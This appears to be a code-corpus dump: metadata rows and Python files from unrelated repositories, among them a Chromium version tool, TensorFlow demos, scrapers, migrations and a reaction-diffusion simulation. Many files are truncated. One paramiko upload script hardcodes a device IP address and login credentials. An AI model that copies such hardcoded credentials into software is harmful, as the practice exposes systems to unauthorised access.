] | permissive | meniossin/src | 42a95cc6c4a9c71d43d62bc4311224ca1fd61e03 | 44f73f7e76119e5ab415d4593ac66485e65d700a | refs/heads/master | 2022-12-16T20:17:03.747113 | 2020-09-03T10:43:12 | 2020-09-03T10:43:12 | 263,710,168 | 1 | 0 | BSD-3-Clause | 2020-05-13T18:20:09 | 2020-05-13T18:20:08 | null | UTF-8 | Python | false | false | 5,551 | py | #!/usr/bin/env python
# Copyright 2014 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""
version.py -- Chromium version string substitution utility.
"""
import argparse
import os
import sys
def fetch_values_from_file(... | [
"arnaud@geometry.ee"
] | arnaud@geometry.ee |
ceae6638cb8857f23310125750064a01468a98c2 | d2876c5d80f03336418a243c36a080fc3a65d629 | /build/learning_ros/Part_5/baxter/baxter_launch_files/catkin_generated/pkg.develspace.context.pc.py | 4e925eea38d0443359819d93933f536195f5610c | [] | no_license | brucemingxinliu/ARIAC_Inventory_control | 302b8648451c38a461d07a57e8c12702538abd23 | 8084b095822d7ad8ccab6dbf98d85348c8a9fb8c | refs/heads/master | 2021-01-19T18:39:13.649891 | 2017-04-18T15:22:13 | 2017-04-18T15:22:13 | 88,370,446 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 387 | py | # generated from catkin/cmake/template/pkg.context.pc.in
CATKIN_PACKAGE_PREFIX = ""
PROJECT_PKG_CONFIG_INCLUDE_DIRS = "".split(';') if "" != "" else []
PROJECT_CATKIN_DEPENDS = "".replace(';', ' ')
PKG_CONFIG_LIBRARIES_WITH_PREFIX = "".split(';') if "" != "" else []
PROJECT_NAME = "baxter_launch_files"
PROJECT_SPACE_DI... | [
"mxl592@case.edu"
] | mxl592@case.edu |
1dfb87c91106447b81cb53aa7c9f46b469399c20 | d2144b0a45b4ff3e7c78356dcbe5c187b3eddf1f | /tf15_tensorboard.py | b58aafc6ce085daddc96957960ac2be2e472cbc8 | [] | no_license | CWSchen/tensorflow | 45d5996370b9584fa02bdd9a0705b6c6579b324a | 301e169b007ccac265a99b37f5fd097c5db1d423 | refs/heads/master | 2020-03-21T12:29:42.157422 | 2018-08-15T01:21:29 | 2018-08-15T01:21:29 | 138,555,214 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,367 | py |
"""
Please note, this code is only for python 3+. If you are using python 2+, please modify the code accordingly.
"""
import tensorflow as tf
import numpy as np
def add_layer(inputs, in_size, out_size, n_layer, activation_function=None):
# add one more layer and return the output of this layer
layer_name =... | [
"1044502604@qq.com"
] | 1044502604@qq.com |
7e782f38e0bb2e38d66c8a8c18ccb4d2879a22e3 | cf36cd62af38aa9c606d9747e2047fa7a971360e | /pipelines_for_paper_experiments/Figure7_genotype_phenotye_mapping_parallel_pipeline.py | 7af1615e9dfe3997276b35b407587fd928fe5727 | [] | no_license | LevinaLab/evolution_dynamical_regime | c07021d615636707f2cb2ddd6744ca5797d7cbc2 | c3013926b5ef4010313256463326b8051416e08c | refs/heads/main | 2023-04-21T14:15:15.468641 | 2021-05-06T15:54:31 | 2021-05-06T15:54:31 | 355,875,898 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,226 | py | import train
import copy
from helper_functions.automatic_plot_helper import load_settings
from helper_functions.automatic_plot_helper import all_sim_names_in_parallel_folder
from helper_functions.automatic_plot_helper import load_isings_from_list
import ray
import numpy as np
# TODO: !!!!This chooses mutate function!!... | [
"jan.prosi@hotmail.com"
] | jan.prosi@hotmail.com |
9b29b3d1360520b4d18d7addf0a29a8757d43eb9 | 3ce946b7fac93c237a073c5395ba2f3d293a3c52 | /src/k8s-configuration/azext_k8s_configuration/_help.py | 8b6c6dc04f84a47bead6f18d38d4db8b4b6f315a | [
"MIT",
"LicenseRef-scancode-generic-cla"
] | permissive | imabedalghafer/azure-cli-extensions | a7e05873aaf1bfa164e89f8fe80a80e7240abc78 | 017848c33388d48b382414db66656965f1c1874f | refs/heads/main | 2022-11-06T11:43:14.960651 | 2022-10-17T12:12:55 | 2022-10-17T12:12:55 | 403,272,601 | 2 | 0 | MIT | 2021-09-05T09:59:12 | 2021-09-05T09:59:11 | null | UTF-8 | Python | false | false | 10,414 | py | # coding=utf-8
# --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# -----------------------------------------------------... | [
"noreply@github.com"
] | imabedalghafer.noreply@github.com |
faa1e1ab246939812bf73df85e40779bb310d99c | 9b79dc0b4b2f13dea85a1d29177e5eb266b6e7f7 | /var/lib/python-support/python2.6/rdflib/URIRef.py | 18e34038ce85f4882d2c102a790c8df6c0c37e2f | [] | no_license | haniokasai/netwalker-rootfs | 0bc87efc0ae478338b6326fd9118befcbcc5cd06 | d08f7bf370a82b6970387bb9f165d374a9d9092b | refs/heads/master | 2021-01-10T11:04:34.436513 | 2016-01-12T06:09:50 | 2016-01-12T06:09:50 | 36,504,146 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 56 | py | /usr/share/python-support/python-rdflib/rdflib/URIRef.py | [
"htek@haniokasai.com"
] | htek@haniokasai.com |
a6847b4915763c1471b1c73d1e77ea98020f8bca | 1688670b32726692615cabc42c82e84ee5cbf882 | /src/grayscott/main.py | 09708bc6a32ab56479e1fce171d2b0b5104d53c7 | [
"MIT"
] | permissive | shiguol/pywonderland | 35b8550ea2d214eaddeda9254b481855784e02a6 | c91d46e949c88b385c80b35c98aa5089ffa20e17 | refs/heads/master | 2020-04-07T12:10:20.219192 | 2018-11-20T06:17:59 | 2018-11-20T06:17:59 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 16,112 | py | # -*- coding: utf-8 -*-
"""
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Reaction-Diffusion Simulation with Pyglet and GLSL
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To make video of the animation you must have `ffmpeg` installed
and can be found on your system path.
For how to use mouse and keyboard t... | [
"mathzhaoliang@gmail.com"
] | mathzhaoliang@gmail.com |
0826383a447fe4c0ea7973b5265503781c30e132 | e014e5324ac8c05f14fc96227295dbf2007054e5 | /script-py/fabric/p2.py | 22b17c58c38402a03ece073a81c4623d5d847e03 | [
"Apache-2.0"
] | permissive | analylx/Py_script | 6fa75c02caa53d57c3ffdf5f098de43a62b38346 | 68098875a2fb3668e4d15ba11079de6adebc6b7f | refs/heads/master | 2020-06-22T11:29:47.660370 | 2019-07-19T06:18:00 | 2019-07-19T06:18:00 | 197,707,076 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 481 | py | import paramiko,glob
transport = paramiko.Transport(('200.200.121.52',22))
transport.connect(username='admin',password='admin1')
sftp = paramiko.SFTPClient.from_transport(transport)
file_to_put = glob.glob(r"e:/version/NPT1050i*.bin")
#conn.put(file_to_put[0],'/sdboot/up/NPT1050i_Emb.bin')
#将resutl.txt 上传至服务器 /tmp/res... | [
"a322494@ecitele.com"
] | a322494@ecitele.com |
c9e05be9b141362ea7e4f8961920e4fa7cc5ed4d | b140a0c902cb6e95396ba98f8db7ae97d5ee97ac | /social_motion/robocare_sound/setup.py | c9799c3750058da53b180e1e97168298b182d9ed | [] | no_license | Osseri/Group1-5DOF_social_robot | 4b8f89fa9d09f71035bb4c6133723aabe5b4f7df | 7699601b60bbb88a7e508e4e7927d15afdfafc22 | refs/heads/master | 2022-12-02T16:48:13.304232 | 2020-06-24T00:32:15 | 2020-06-24T00:32:15 | 285,156,666 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 336 | py | #!/usr/bin/env python
## ! DO NOT MANUALLY INVOKE THIS setup.py, USE CATKIN INSTEAD
from distutils.core import setup
from catkin_pkg.python_setup import generate_distutils_setup
# fetch values from package.xml
setup_args = generate_distutils_setup(
packages=['robocare_sound'],
package_dir={'': 'src'},
)
setu... | [
"you@example.com"
] | you@example.com |
f7615b59782a5f79a42ccf3aa83a2724126449c5 | 5456502f97627278cbd6e16d002d50f1de3da7bb | /components/minidump_uploader/DEPS | 63cfa3f17255d2749ae5c2f63453be939a11b347 | [
"BSD-3-Clause"
] | permissive | TrellixVulnTeam/Chromium_7C66 | 72d108a413909eb3bd36c73a6c2f98de1573b6e5 | c8649ab2a0f5a747369ed50351209a42f59672ee | refs/heads/master | 2023-03-16T12:51:40.231959 | 2017-12-20T10:38:26 | 2017-12-20T10:38:26 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 20 | include_rules = []
| [
"lixiaodonglove7@aliyun.com"
] | lixiaodonglove7@aliyun.com | |
70835b759c91016c6aac873409f637782ba7616c | c301cff98159197a3a41f0c2350219119cbcc7b0 | /scrapper/actions.py | 25ffa96cc8246a92bb3fb82ccab4e14e4a499028 | [] | no_license | umatbro/kurs-scraper | b8e852768cb0a0a3850c48e275bb59a71f9effb9 | a2f415fe0db20ed15e63bc9a69508cb75e380cda | refs/heads/master | 2021-06-09T00:46:59.669951 | 2019-02-03T09:10:43 | 2019-02-03T09:10:43 | 167,161,888 | 0 | 0 | null | 2021-06-01T23:18:21 | 2019-01-23T10:11:14 | Python | UTF-8 | Python | false | false | 8,677 | py | import io
import os
import re
import logging
from typing import Union, List
import scrapper.config as cfg
from selenium import webdriver
from selenium.common.exceptions import TimeoutException, UnexpectedAlertPresentException
from selenium.webdriver.common.by import By
from selenium.webdriver.remote.webelement import W... | [
"umatbroo@gmail.com"
] | umatbroo@gmail.com |
9ea39c32dfbf597b235b1b90326168eb74f9cd6c | c66bbd5d3eaff6a8d8e8af5fa6bb230a64052881 | /simulators/sim_ftp_new_file.py | 9133a8ee6ad92878f7ab0e7106a07e05c7f0c614 | [
"MIT"
] | permissive | majj/Rexroth | 44f6141075f4f26cb70f0a331ab7e6f851fa6702 | 079f2890a39e34776627d53c00d7debbfbd13146 | refs/heads/master | 2020-03-19T20:12:59.567712 | 2018-06-11T23:45:00 | 2018-06-11T23:45:00 | 136,892,336 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,250 | py | # -*- coding: utf-8 -*-
"""
simulator for FTP file creation.
"""
import os
import glob
import time
def move_old_file(base_path):
file_path = os.sep.join([base_path,"*.json"])
data_files = glob.glob(file_path)
for data_file in data_files:
statinfo = os.stat(data_file)
... | [
"aidear@163.com"
] | aidear@163.com |
af5e725dd84dbbf4e14343aaff27e3740539d297 | 159a527d5333f848fa58fed8c39ee6303a507c62 | /RPi_Drone/sensor.py | 1bcfa30a293fa37ba60c7f8a549b705394f995bb | [] | no_license | GitDubs/Pi_Drone | ca3f15f4e33797dd276f8b39c6ac62186ace8d10 | d3bf8817ce12cd6483128b7dd233a7e132b6e2e9 | refs/heads/master | 2020-04-15T19:56:46.744054 | 2020-03-24T16:02:14 | 2020-03-24T16:02:14 | 164,971,308 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,170 | py | ############################################################################
#
# QuadcopeRPI- SW for controlling a quadcopter by RPI
#
# Copyright (C) 2014 Oscar Ferrato (solenero tech)
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public Lice... | [
"user.email"
] | user.email |
59123b96ae51fcea97576b96673b4381abaadc9b | f07a42f652f46106dee4749277d41c302e2b7406 | /Data Set/bug-fixing-2/db86043195cb9a19ee424859752d2c5c908b5a43-<_check_cross_realm_messages_archiving>-bug.py | 131169889e98f9fba092c7563048ae0e365c7dc9 | [] | no_license | wsgan001/PyFPattern | e0fe06341cc5d51b3ad0fe29b84098d140ed54d1 | cc347e32745f99c0cd95e79a18ddacc4574d7faa | refs/heads/main | 2023-08-25T23:48:26.112133 | 2021-10-23T14:11:22 | 2021-10-23T14:11:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,584 | py |
def _check_cross_realm_messages_archiving(self, arc_user_msg_qty: int, period: int, realm: Optional[Realm]=None) -> int:
sent_message_id = self._send_cross_realm_message()
all_user_messages_qty = UserMessage.objects.count()
self._change_messages_pub_date([sent_message_id], (timezone_now() - timedelta(days... | [
"dg1732004@smail.nju.edu.cn"
] | dg1732004@smail.nju.edu.cn |
4590c51b63359f543ed1eddd12502166cafa6ffc | 3591ab22e1cc0fc1362f909017a8aa5c2b53bd92 | /FundNavSpiders/XiNanZhengQuanPB.py | b3bf6aab60aa2e98eb1fa65b2ecc189a06ab245f | [] | no_license | Wnltc/ggscrapy | ef7e9559ce6140e7147f539778e25fc7f6cbee4c | bf929112e14b875a583803fe92980fe67129bdac | refs/heads/master | 2023-03-15T22:00:45.377540 | 2018-06-06T02:19:14 | 2018-06-06T02:19:14 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,044 | py | import re
from datetime import datetime
from FundNavSpiders import GGFundNavItem
from FundNavSpiders import GGFundNavSpider
from urllib.parse import urljoin
from scrapy.utils.response import get_base_url
class XiNanZhengQuanPBSpider(GGFundNavSpider):
name = 'FundNav_XiNanZhengQuanPB'
sitename = '西南证券'
cha... | [
"songxh@go-goal.com"
] | songxh@go-goal.com |
74b18bfd131508e96967f18207775529a0896cac | fefb1e9b0b736da4e49d7754f8d1dbaf37f2fa6a | /.history/9_3_20210214204036.py | 27a80c381b5c43bc45d4593006b60e3126b4e5a5 | [] | no_license | wh-debug/python | 5a78a2227874ebc400d075197de0adab9f55d187 | 1467eeda670f170e6e2d7c0a0550f713f1ee9d75 | refs/heads/master | 2023-03-12T22:08:12.608882 | 2021-02-17T09:49:52 | 2021-02-17T09:49:52 | 334,032,494 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,245 | py | '''
Author: Daylight
Date: 2021-02-14 20:29:23
LastEditTime: 2021-02-14 20:40:36
LastEditors: Please set LastEditors
Description: In User Settings Edit
FilePath: \python\9_3.py
'''
'''子类继承父类,创建子类时父类必须在当前文件中'''
class Car:
def __init__(self, make, model, year):
self.make = make
self.model = model
... | [
"1813763848@qq.com"
] | 1813763848@qq.com |
afd74874baacf323d1d75ba00c2688b17334aa34 | 7078329f75ba49b297121f9f5d8b61d0a4acef19 | /spektral/chem.py | 30ba85aa18f1b511225369bca4fb5bd5e7d4f8b7 | [
"MIT"
] | permissive | coma2441/spektral | 45f8e5cc845ea1086353a423fda3c71cac6e4882 | cb6b09ade0e5a20ea5d83af7a6c376d7f0ffb6eb | refs/heads/master | 2020-07-26T06:48:48.191830 | 2019-09-15T09:13:45 | 2019-09-15T09:13:45 | 208,568,535 | 0 | 0 | MIT | 2019-09-15T09:09:18 | 2019-09-15T09:09:17 | null | UTF-8 | Python | false | false | 11,024 | py | import networkx as nx
import numpy as np
from .utils.plotting import plt
try:
from rdkit import Chem as rdc
from rdkit.Chem import Draw
from rdkit import rdBase as rdb
rdb.DisableLog('rdApp.error') # RDKit logging is disabled by default
Draw.DrawingOptions.dblBondOffset = .1
BOND_MAP = {0: r... | [
"daniele.grattarola@gmail.com"
] | daniele.grattarola@gmail.com |
8bf0abb7aa0fa44e2f4f73ce687605985a73f497 | dbcb0c7745bd4053bee99ca3f491d74806039b41 | /migrations/versions/12353e7e9d34_.py | 7c5b6551ee749539e8ab502532e9082e6c627f0e | [
"MIT"
] | permissive | Maethorin/concept2 | 90a3e6c8b372a68c6115c79849e48a6301afc26b | 05d64805388126a6fb1c412a3fe290b5fa7ed117 | refs/heads/master | 2021-01-17T06:03:33.905372 | 2017-03-26T21:09:49 | 2017-03-26T21:09:49 | 49,681,649 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,637 | py | """empty message
Revision ID: 12353e7e9d34
Revises: df7c9e698ce1
Create Date: 2016-03-03 23:57:52.267718
"""
# revision identifiers, used by Alembic.
revision = '12353e7e9d34'
down_revision = 'f8b110875ac9'
from alembic import op
import app
import sqlalchemy as sa
def upgrade():
### commands auto generated by... | [
"maethorin@gmail.com"
] | maethorin@gmail.com |
347ea899708b8831003a9d3128113015027c0cf8 | 6bee8df1d3819ec688685d9f3a6647fcf5c2855c | /src/myExceptions.py | 536e548b1f354e7d0f59a3a1ae486ba917ee4e8b | [] | no_license | denvaar/RobotClassLibrary | b18ec642b45d862373b2585165310bb968be957d | 8961a8474f752e753c16071aa8a74f5ff4665750 | refs/heads/master | 2016-08-11T12:00:00.742268 | 2015-12-04T07:28:17 | 2015-12-04T07:28:17 | 47,381,861 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 496 | py |
class TooBusyException(Exception):
"""
An exception that should be raised
when a robot is too busy to take on
more work.
"""
def __init__(self, *args, **kwargs):
Exception.__init__(self, *args, **kwargs)
class NotBusyException(Exception):
"""
An exception that should be raised
... | [
"denverpsmith@gmail.com"
] | denverpsmith@gmail.com |
adab2981660cd5fea4905b2f903faeebdabfb3a7 | 7a0cee11668c426552e7a57baa8596a1cae33382 | /kennywoodapi/views/__init__.py | 4cc1b78ec594f9230e245343d910ad61c1a5be4d | [] | no_license | krnorris65/kennywood-api | 3df6d3d0e1443441c6fb6c417638c4e7d704c41e | d83524ddb9720933982118e8f59af1c19a21c7b3 | refs/heads/master | 2023-08-03T21:59:37.270203 | 2020-05-22T20:10:10 | 2020-05-22T20:10:10 | 264,218,160 | 0 | 0 | null | 2021-09-22T19:01:24 | 2020-05-15T14:41:35 | Python | UTF-8 | Python | false | false | 171 | py | from .parkarea import ParkAreas
from .itinerary import Itineraries
from .attraction import Attractions
from .register import register_user
from .register import login_user | [
"krnorris65@gmail.com"
] | krnorris65@gmail.com |
dbc6e3b1f8064a546e570bbea450cf7963596840 | 920c601cec1b66410935438a3d24085fa2699ff6 | /Python/Create_text/create_textfiles.py | 01a4cd58b030811b3710ee585bda29d7f002c424 | [] | no_license | seethakris/Thunder_for_Raphe | 47aa30ef19e0b7fb6cafeccaca30cacb22385a01 | 7fc4e65359c5c3ab8cef1f9183e0c366af7ffbec | refs/heads/master | 2021-01-10T04:57:04.136048 | 2015-05-26T04:40:56 | 2015-05-26T04:40:56 | 36,272,333 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 23,117 | py | # -*- coding: utf-8 -*-
"""
Created on Wed Jan 21 15:16:53 2015
Create a variety of text file according to input
@author: chad
"""
#Import relevant libraries
import numpy as np #for numerical operations on arrays
import PIL as pil # for image resizing
import os
filesep = os.path.sep
import matplotlib.pyplot as plt #... | [
"seethakris@gmail.com"
] | seethakris@gmail.com |
50efbe55f869ccbc1df5d3d2dadf1eadcd77e219 | a718de5d51c8d430e791aca6092669c04548fd64 | /Python-algorithm/algorithm/algorithm.py | 4855f5dafa59015e1617ecce54ff8c1c08c087d5 | [] | no_license | santoshikalaskar/Basic_Advance_python_program | d0fef4134ed4b14f84ff05a3b37e1773c111a2d1 | 84df5c336d5304c3c727102194ba62417640643a | refs/heads/master | 2023-01-22T15:06:24.909145 | 2020-12-02T14:01:29 | 2020-12-02T14:01:29 | 314,511,681 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,574 | py | import string
class AlgorithmMethods:
#Binary search method
'''
-Algorithm to search an element by passing sorted array,low index,
high index and element as an argument.
-It will return index of that perticular element or -1 if element is
not present.
'''
def binSea... | [
"kalaskars1996@gmail.com"
] | kalaskars1996@gmail.com |
f22f6de23d497b7351b1129c0401905c832e8b58 | 3b730a7d5cd1825ee2f49839e7e4ef8710977349 | /setup_cython.py | d33155f7737572125651e724926a7515b276032e | [
"MIT"
] | permissive | wallace46886799/QUANTAXIS | 250133d4f34066b6ede634374659f807043abb16 | 664f367aeea0f3a0fd5032b2eabe2d6c1cb3f886 | refs/heads/master | 2020-03-11T12:42:49.960062 | 2019-05-01T15:33:43 | 2019-05-01T15:33:43 | 130,005,089 | 1 | 0 | MIT | 2019-05-01T15:33:44 | 2018-04-18T04:46:28 | Python | UTF-8 | Python | false | false | 4,242 | py | # coding=utf-8
#
# The MIT License (MIT)
#
# Copyright (c) 2016-2017 yutiansut/QUANTAXIS
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation th... | [
"yutiansut@qq.com"
] | yutiansut@qq.com |
da8b929d17b4a6f4a23d0efbcf1aef87f278a7ca | fcca7ebb332ae400b82f7d75d424ace30e35963c | /apps/elasticity/stegoton/test_entropy.py | 42a3d38fc9a22a6eb79adf7ddb2185e5e28abca9 | [] | no_license | clawpack/sharpclaw | 5d2812149b28a09bfb626daf057fd27e4ab2f6a5 | 7c9782d932a449b92c875ff341a16bf00f0cc630 | refs/heads/master | 2021-01-04T14:06:42.001372 | 2013-11-28T15:19:26 | 2013-11-28T15:19:26 | 1,613,567 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,268 | py | #Run a sequence of entropy tests
import os
import setrun
#from setrun import setrun
from entropy import entropy
import pylab as pl
from pyclaw.runclaw import runclaw
import numpy as np
reload(setrun)
grids = [1800,3600,7200,14400,28800]
lims=[1,2,3,4]
ntrp = np.zeros([len(lims),len(grids)])
for i,lim in enumerate(lim... | [
"dketch@gmail.com"
] | dketch@gmail.com |
958e1029fe8ebbafccdbd80bf0cd9ef0eb4adc59 | 0b204928356d6825124787877b487b27bce19790 | /exercises/Chapter 03/03-16.py | a314bb3fed78890564235eac04b543eea5d286f1 | [] | no_license | shuxinzhang/nltk-learning | bff095f585bc42e697ca6cf523d71aec4a8aeeeb | 0428ec5d73b325c91f1d82fb26324482ca69aae4 | refs/heads/master | 2021-01-01T04:43:26.536545 | 2017-07-26T13:37:06 | 2017-07-26T13:37:06 | 97,234,566 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 640 | py | # -*- coding: utf-8 -*-
import matplotlib
matplotlib.use('TkAgg')
import nltk
'''
☼ Use a text editor to create a file
called prog.py containing the single line monty = 'Monty Python'.
Next, start up a new session with the
Python interpreter, and enter the expression monty at the prompt.
You will get an error from the... | [
"amyzsx1217@gmail.com"
] | amyzsx1217@gmail.com |
ef8e20278f02da0114ef8ed35d966afbd888859a | a00174e000704525ee215c911f2683e43650f3de | /control/control/wsgi.py | 2a6868cacdcc17fc2f6a72b055b55ac644bb171c | [] | no_license | jinchuika/ing_software | 4001f3f5ba832adbcbe51c52844750ebf264014e | 7ada4a2bfc8c03fbb8938a1a47d8559c1c95808a | refs/heads/master | 2016-09-14T14:05:33.567361 | 2016-06-03T16:42:38 | 2016-06-03T16:42:38 | 59,610,683 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 391 | py | """
WSGI config for control project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.9/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault("DJANGO_SETTI... | [
"jinchuika@gmail.com"
] | jinchuika@gmail.com |
b7d5cb97979742b3898d60ce38760912032fb414 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03472/s684454987.py | b6b020b957450bcb071ab3ec20a7b70b19eedd33 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 411 | py | import sys
mina=10**10
def waru(a,b):
if a%b==0:
return a//b
else:
return (a//b)+1
N,H=map(int,input().split())
A=list()
B=list()
for i in range(N):
a,b=map(int,input().split())
A.append(a)
B.append(b)
ma=max(A)
ind=A.index(ma)
B=[i for i in B if i>ma]
B=sorted(B,reverse=True)
cou=1
s=0
for i in range... | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
d97a89976235e3dc87ff6974b27ea121936f0c2e | f0856e60a095ce99ec3497b3f27567803056ac60 | /AE/A08_noise3_men_women.py | b4715146db159602e7ba7b0d37783380c6a9a776 | [] | no_license | hjuju/TF_Study-HAN | dcbac17ce8b8885f5fb7d7f554230c2948fda9ac | c0faf98380e7f220868ddf83a9aaacaa4ebd2c2a | refs/heads/main | 2023-09-04T09:13:33.212258 | 2021-10-27T08:00:49 | 2021-10-27T08:00:49 | 384,371,952 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,303 | py | # 훈련데이터를 기존데이터 + 20% 더
# 성과비교
# save_dir도 temp에 넣을 것
# 증폭데이터는 temp에 저장 후 훈련끝나고 삭제
from tensorflow.keras.preprocessing.image import ImageDataGenerator
import numpy as np
from icecream import ic
# 1. data
x_train = np.load('./_save/_npy/k59_5_gender_train_x.npy')
# y_train = np.load('./_save/_npy/k59_5_gender_train_y... | [
"tkackeowjs@naver.com"
] | tkackeowjs@naver.com |
b9f95b642efdce33ce6ffcbe54a698cc70ef4cb0 | 65b4522c04c2be071c2d42095956fe950fe1cebe | /inversions/occam_inversion_test/true_model/true_model.py | c1ddb520dbe1ff8a635ec89a56ef1ec36b797917 | [] | no_license | geodesy/viscojapan | ac0cd93f7a2134cd2651623b94879dcc21c0c46a | 03e70265b56eb5994e73bcb6066f0be338e42f27 | refs/heads/master | 2021-03-03T18:19:07.779601 | 2015-07-16T03:50:49 | 2015-07-16T03:50:49 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 954 | py | from numpy import dot
from viscojapan.inversion.inversion_test import GaussianSlip, gen_error_for_sites
from viscojapan.plots import MapPlotFault, plt, MapPlotDisplacement
from viscojapan import EpochalG
import viscojapan as vj
if_plot = True
fault_file = '../greens_function/fault_He50km.h5'
gslip = GaussianSlip.cre... | [
"zy31415@gmail.com"
] | zy31415@gmail.com |
a81e6b7f49b978a71981ef25208a00c86eb9edd1 | aaf237eaebbf2f98ded627a7e93645c27fb6491c | /generate_random_graphs.py | 0d34f08686e001de697a1eb0792e32c2a1e459b2 | [] | no_license | codeJRV/Max_Bandwidth | 8b808afaed1de2dd56b4a3c1c62d859f5c99fb7b | d14b08d2061a3b2d8a010bdca52f600507be0df2 | refs/heads/master | 2021-09-06T05:25:10.594752 | 2018-02-02T19:07:54 | 2018-02-02T19:07:54 | 112,174,227 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,192 | py | import graph
import random
import time
def generate_graph( n_vertex,max_wt, degree ):
if degree >= 500:
print("Generating a relatively dense graph, this will take some time....")
else:
print("Sparse graph generation, should happen quickly...")
start_time = time.time()
end_time = 0
... | [
"email.jrv@gmail.com"
] | email.jrv@gmail.com |
796f068e351e6b61237875ab989bd9716a184328 | 08e04ff140a6b32174f7b4f5c529730ed75d99d7 | /OpenNMT-py/onmt/inputters/emphasis_dataset.py | 7575869738dc08eaef3c6aa2eb904338a62cb66f | [] | no_license | takatomo-k/s2s | 8df9e82acfa62568a04492da781070f49784358f | 572ef50376fcd23b6e2a1bba66f24f76f3625b89 | refs/heads/master | 2022-07-20T19:04:38.859711 | 2020-05-19T03:34:30 | 2020-05-19T03:34:30 | 265,134,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,638 | py | import codecs
import numpy as np
import torch
import torch.nn as nn
class EmphasisTransform(object):
def __init__(self, side, data, min_frequency):
self.side=side
cunt = {}
#import pdb;pdb.set_trace()
self._stoi = {'-2':0, '-1':1, '0':2, '1':3,'2':4}
self._itos ... | [
"kano.takatomo.km0@is.naist.jp"
] | kano.takatomo.km0@is.naist.jp |
a8209d292f1ea22abf9f41a8892e3797d9cfa731 | 93205f3cad8ba599a5c80a655a712121a9e19f91 | /storyboard/db/migration/alembic_migrations/versions/007_is_active_in_comments.py | 7ac85b276a6502fe16c3834ba8459f9230f912d1 | [
"Apache-2.0"
] | permissive | yeweiasia/storyboard | 0c18abf7c5882662f5f7af82d1f226d9d3eab7a3 | 2445e3dc904c7c83305a4a6274e6ae35dacb0cfa | refs/heads/master | 2020-12-11T05:46:22.045349 | 2016-05-23T15:36:46 | 2016-05-23T15:36:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,183 | py | # Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under t... | [
"nkonovalov@mirantis.com"
] | nkonovalov@mirantis.com |
0a8288fc2bdc1f46f0e200247c1798a987e00081 | 4a255da2c8d4c4589ab2c38c378282ea4a65f1d9 | /pytorch_lightning/profiler/__init__.py | a15296eb54833add3e20c625bffb316a8a37bddd | [
"Apache-2.0"
] | permissive | wandb/pytorch-lightning | 7a2fcdd03d67757c7eb5be7fffc090f55d7927ef | fe34bf2a653ebd50e6a3a00be829e3611f820c3c | refs/heads/master | 2022-02-10T12:09:00.469103 | 2022-01-24T08:19:57 | 2022-01-24T08:19:57 | 223,654,630 | 3 | 0 | Apache-2.0 | 2021-06-16T10:34:53 | 2019-11-23T21:19:50 | Python | UTF-8 | Python | false | false | 514 | py | from pytorch_lightning.profiler.advanced import AdvancedProfiler
from pytorch_lightning.profiler.base import AbstractProfiler, BaseProfiler, PassThroughProfiler
from pytorch_lightning.profiler.pytorch import PyTorchProfiler
from pytorch_lightning.profiler.simple import SimpleProfiler
from pytorch_lightning.profiler.xla... | [
"noreply@github.com"
] | wandb.noreply@github.com |
e1602fcc8c1c145b7a8cdc495c0f26ff657f42d8 | f3baf8b850c896231b4c254a22567fd5d7a5035c | /Exercicios Modulo 16/Exercicio 2.py | fcc9d004229a94823d48a19d0f020d7453f7ecaa | [
"MIT"
